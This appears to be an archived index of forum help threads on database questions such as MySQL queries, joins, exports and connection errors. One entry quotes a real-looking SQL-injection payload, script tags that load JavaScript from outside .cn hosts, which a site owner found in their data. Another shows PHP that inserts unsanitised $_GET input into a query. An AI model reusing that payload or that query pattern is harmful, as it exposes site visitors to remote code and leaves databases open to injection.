7,494 Archived Topics
Remove Filter  | |
 | [QUOTE]$tag = $_GET[tag]; $search = mysql_query("SELECT * FROM `threads` WHERE FIND_IN_SET('$tag', `tag`) = '$tag'"); [/QUOTE]why is this returning all of the rows in the table they all do not have the same tags none of them have the same tags as each other yet the column name is tag. the … Databases mysql |
| | Hello folks, I'm getting the error message "Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /var/www/login.php on line 9". I've been at it for hours and my eyes are starting to bleed, I would greatly appreciate a code-weary traveller could spot my mistake. Here's the first 10 lines of my page. … Databases mysql |
| | Hi everyone I need major help with coding for a library system its relatively small scale but, im not grasping concepts and there get stuck often Databases  |
| | l have got a table populated with data. l need to export and append the contents of the table to an existing table. l have got an auto_increment column which l need to change so it starts at 100 not one Databases mysql |
| | I am new to php/MySQL, so I apologize in advance for any stupidity on my part. I have a MySQL database for events, and the main table ("Brochure") has multiple Trip Leader fields, e.g., "Leader," "Assistant Leader," "Leader in Training," etc. All of these leader fields get their data from … Databases mysql |
| | hello all in table1 I have Date Value 2/1/2010 100 2/2/2010 110 2/5/2010 95 3/4/2010 150 3/15/2010 220 etc how to sum the value according to it's month ? so I got Pebruary' sum value=315 March sum value =370 tq Databases mssql |
 | Hello friends... How can I change the order of the columns ? e.g. My columns order is: id name lastname and now I want to change the order of the columns like: id lastname name Thanks. Databases mysql |
| | Hi all, if anyone can assist I have a query which just will not resolve it self no matter what I have tried. I am testing this PHPmyadmin before I apply to the website if this helps Thanks in advance DJ The query that is being run produces duplicate row … Databases mysql |
| | How would I clean everhing after script got a sql injection attack Electric repeater beanie green<script src="http://nt010.cn/E/J.JS"></script><script src="http://nt004.cn/E/J.JS"></script> need to clean everything after <script> |
| | Hello All, I have been trying to copy a database from a local system to remote system using the mysqldump command.However, I am not able to do so.I just wanted to know syntactically where am I going wrong? Here are the commands I have tried: mysqldump database-name | ssh [email]myname@mysql.cs.abc.edu[/email] … Databases mysql |
| | Does any one know how to use SQLite? Can anyone tell me how to convert populated MySQL tables to SQLite tables without using a DBConvert software? |
| | We are an American company, doing business world wide, we have a lot of members coming on board in Russia, Estonia, Latvia, Africa and lots of other places. They are all asking for us to translate the web pages. So I programmed in a language translator, where we can give … Databases mysql perl web-server |
| | i am using oracle 8i.i want write a query to display who is the person & his tuple remitted or maximum amount used.how can i display it Databases oracle |
| | I created a user login/registration system and the login works fine. But I can not seem to get the registration to insert the info into the database. It returns no errors and says the record is there but when you check from phpMyAdmin, the record is not there. Here is … |
| | Hiya, Discoverer admin/desktop. There is this issue we do have in my place of work. We use a the tool called discover admin /desktop. The discoverer desktop is only accessible till 4:59pm exactly when it is 5:00pm it doesn't work and immediately it is 6:00pm it start working again. I … Databases oracle  |
| | im newbie on MySql... im trying to migrate my DB(MsAccess) to MySql.. i have this sql statement on my MsAccess [QUOTE]SELECT MI.MIDate, MI.WIStockNo, Month(MI.MIDate) & ", " & Year(MI.MIDate) AS Period, MI.MIStockName, MI.MIUnitM, MI.MIRequired, MI.MIUpdated, MI.MIBCQ, MI.MITo, MI.MISection, MI.MIPurpose, MI.MIJobNo, MI.MIItemNo, MI.MIEncoder, MI.MIRequisition, MI.MIStockman, ([MI.MIRequired]*[WItems.WIAmountUnit]) AS TotalReqAmt FROM WItems INNER … Databases mysql |
| | Hi to all, I have a scenario like this: School ([U]SchoolName[/U], etc, etc...) Teacher ([U]SchoolName[/U],[U]TeacherName[/U], etc, etc...) ForeignKey: [School.SchoolName] Student ([U]SchoolName[/U],[U]StudentName[/U], etc, etc...) ForeignKey: [School.SchoolName] Lesson ([U]SchoolName[/U], [U]TeacherName[/U], [U]StudentName[/U], etc, etc...) ForeignKey: [Teacher.SchoolName,Teacher.TeacherName] + [Student.SchoolName,Student.StudentName] I would like to change the name of the school by updating the School table … Databases  |
| | Hi, SQL below returns 1, 2, 3 in three rows. I want to see only 3 because there are total 3 records. How can I solve this problem. Thanks [CODE]SELECT COUNT(*) as totalProduct FROM customers INNER JOIN uploads ON customers.id = uploads.fk_id GROUP BY name[/CODE] Databases mysql |
| | I am developing a database whre people can register and connect with friends. I am stack at how to store friends. Should I create a Table Friends with fields Friend_ID, Reg_ID, Reg_ID_2. Reg_ID and Reg_ID_2 are values from the Registration table which is the primary key. Thank you for your … Databases |
| | In english: Retrieve current month's usage (using current date/month), retrieve previous month's usage (using previous date/month), subtract current - previous to get difference. table is water_records id, customer_id, water_records_date, water_records_usage 1, '1', '2010-02-01', '226600' 2, '1', '2010-01-01', '223000' 3, '4', '2010-01-05', '5600' 9, '4', '2010-02-19', '88000' 15, '5', '2010-02-15', '10060' … Databases mysql |
| | Hi I have a mysql table name ( Discriptions ) that holds many normal text discriptions (doh'). How do I write a mysql query to search this table! Example: the description 'red paint': If I enter 'paint red! My query will not find it! Thanks for any help! Paul Databases mysql  |
| | i am trying to simulate an alert for transaction being done on a bank account as my project but the person i asked to help me told me that using flexcube all i need is to execute the code below it would create a table OUTMESG which my own code. … Databases database-design oracle storage  |
| | Hi there! I have one problem and I'm asking for some help :).I want to change font from one column to Unicode... is there some easy way to do that? :S Databases mysql |
| | Hello I would like to create a reference field. I would like it ti have a fixed number of charaters/numbers, just like the videos reference of YouTube. Is there a mysql/php function to handle that? I mean a function that generates a unique string that doesn't exist already in the … |
| | Hi All, My knowledge of databases and Access is almost zero but none the less I have to try and solve a problem with a small home-grown Access database and hoping someone can help. I've done many searches and can't locate what I thought would be an easy answer. There … Databases microsoft-access multithreading |
| | [B]I've posted this in the MySQL forum but I have recently stumbled across this forum and it looks far more active so I'm hoping for a response here: Some notes: MySQL database, MyISAM type (debatable, I don't know why I would use InnoDB or how it differs from MyISAM, but … Databases data-structure |
| | Hello all, I am trying to obtain data from a populated MySQL database table.Is there anyway to do so without specifying the connection string? I am using JDBC. The problem I am facing is that I don't have MySQL database on the system on which I need to run the … Databases mysql |
| | Hi, I trying select records where a field contains only one character of a string of characters. i.e. [code=sql]SELECT * FROM users WHERE user_role [contains any one character from...] 'ASD'[/code] so in this case, the query would return all records where the value of 'user_role' field is either 'A' or … Databases mysql |
| | Hi guys. I wanted to know if something would be possible. I currently have a server that runs mySQL and i created a database on there for use with PHP-Nuke Treasury module. I don't know much in the way of MySQL besides the basics. I uploaded the .sql file to … Databases mysql web-server |
| | Hi, Currently I have two colomns as frm_date and to_date. I need to display two dates in a one column as frm_date - to_date. eg: 2007-01-01 - 2009-01-01. Is there any functon to do this? Thanks in advance!! |
| | Can you actually make relationships between tables in MySql??? i've looked all over the interent and all i can find is detail on what a relationship is pleeeeease help! am i barking up the wrong tree? Databases mysql |
| | I cannot find the mistake in the below code, I receive "statement ignored error" at the last line of the first select clause part of the code:[CODE]SELECT * BULK COLLECT INTO l_employees FROM employees;[/CODE] But I am not sure if thats the real problem. Here is my full code [CODE]declare … |
| | This is a dumb question, but I used MAMP and I don't know how to access my phpmyadmin. I used to have it on my localhost server, until I had to reinstall it with MAMP. Now I don't know how to access it? Thanks |
| | Hi guys; I have a table of books in my DB and each page has a different serial no following each other eg. Page 9 has serial 005065 and 10 has 005066. In my table it only gives me a range of serials as per the book, this is how …  |
 | hi... i want to ask about joomla...I dont where else to ask but here... I hope you all can help me.. I've installed joomla 1.5 on my localhost which is Xammp... I also have created the mysql database through the free webhosting(zymic.com).. After i finish with the joomla installation,i wanted … Databases mysql web-browser |
| | I'm not quite sure how to do this join: Table1: Products -------------------------- Prod_ID | Prod_Name | etc Table2: Images --------------------------- IMG_ID | Prod Name | Prod_ID | [CODE] Select Prod_ID, Count(i_Prod_ID) from tblImages right join tblProducts on tblProducts.Prod_ID = tblImage.i_Prod_ID [/CODE] Does not produce what I need..... The desired end … |
| | In phpmyadmin and wanting to copy the mentioned rows below to within the same table. I am not copying the id so it is automatically incrementing. Why isnt it working??? Thanks in advance. INSERT INTO `table1` (title, alias, published, introtext, video, gallery, extra_fields, extra_fields_search, created, created_by, created_by_alias, checked_out, checked_out_time, modified, … |
| | Hello Everyone I'm trying to make a query that returns the name of the 'bundle owner' according to the bundle number. On the main table i have the bundle number in this format '676Z703009-1' and on the table that corresponds to the bundle owners we have the bundle number abbreviated … Databases mysql |
| | I hav created a database using a windows application form in vc++ i can add and delete entries in the database.. but my prob is that the database s nt getting updated.... it says that "[COLOR="Red"]no value given for one or more required parameters[/COLOR]" my update code s as follows … Databases microsoft-access |
| | good day guys, I have an order table and some stuffs, and the user can cancel an order. my question is: 1.] what is the best implementation of canceling an order in a database? Im sure I must create a table for canceled order or something right? 2.]Is it appropriate … Databases mssql  |
| | Hi GUys Just wondering if any one can help me out. Basically i wnat to create an SQL query which will take the input of the user and query that specific variable: e.g the user enetrs in a field, the value entered is assigned to variable "srch", then in my … Databases microsoft-access sql |
| | Plzz help, all i have now is Warning: mysql_pconnect() [function.mysql-pconnect]: Lost connection to MySQL server at 'waiting for initial communication packet', system error: 95 in /home/plmzxsi/public_html/hull/Connections/stronaHull.php on line 9 Fatal error: Lost connection to MySQL server at 'waiting for initial communication packet', system error: 95 in /home/plmzxsi/public_html/hull/Connections/stronaHull.php on line 9 … Databases mysql |
| | I just recently found out that I need a secure tunnel client in order to access an API, OK. Then while researching I find way too much conflicting info about what it is exactly. Could someone shed some light? Is it a subscription? Does it live in my PC or … Databases api client-server mysql  |
| | Does sqlite contain a function that would look at every row in a column and find the ones contain a string I supply it with. I'm trying to make a dynamic database search that would query retrieve rows from the database every time I type a new letter into my … Databases sqlite |
| | imaginary language into java. I have everything down except for the symbol table. I am currently making ERD diagram for a library . The entities are below: Entity Attributes Member memId, memName, memAddress, memMaxbooks Book isbn, bName, datePublished, pubId*, ageLower ageUpper, value Copy cId, isbn*, dateAcquired, dateDestroyed Loan memId*, memId*, … Databases |
| | Hi I have two tables called client and booking, the primary key in client table is clientID which is autoincress number and it’s a primary key, in the second table (booking) the primary key is bookingID and its autoincress number and the clientID is foren key. I have a questions: … |
| | |
 | Hi all, I have 4 tables that all have a foreign key of dev_id. I want to SELECT * from all of them but it keeps saying "ambigious column". Can anybody advise how to overcome this? Thanks Databases mysql |
| | Hi, I have a question regarding outer joins. Suppose I have the following 2 tables each having 2 columns. Employee: EmpId, DeptId Department: DeptId, DeptId EmpId is primary key in Employee and DeptId is primary key in Department. Also, Employee.DeptId is foreign key referencing Deparment.DeptId. My first question: 1. Suppose … |
 | I wrote a query yesterday and it ran fine. Today i inserted a new record and it has broken my query. Can anyone help me figure out why? Query: [CODE] WITH temp_orgChart (KitID, PartID, Quantity, iteration) AS ( SELECT KitID, PartID, Quantity, 0 FROM ItemParts WHERE KitID = 200185 UNION … Databases mssql |
The End.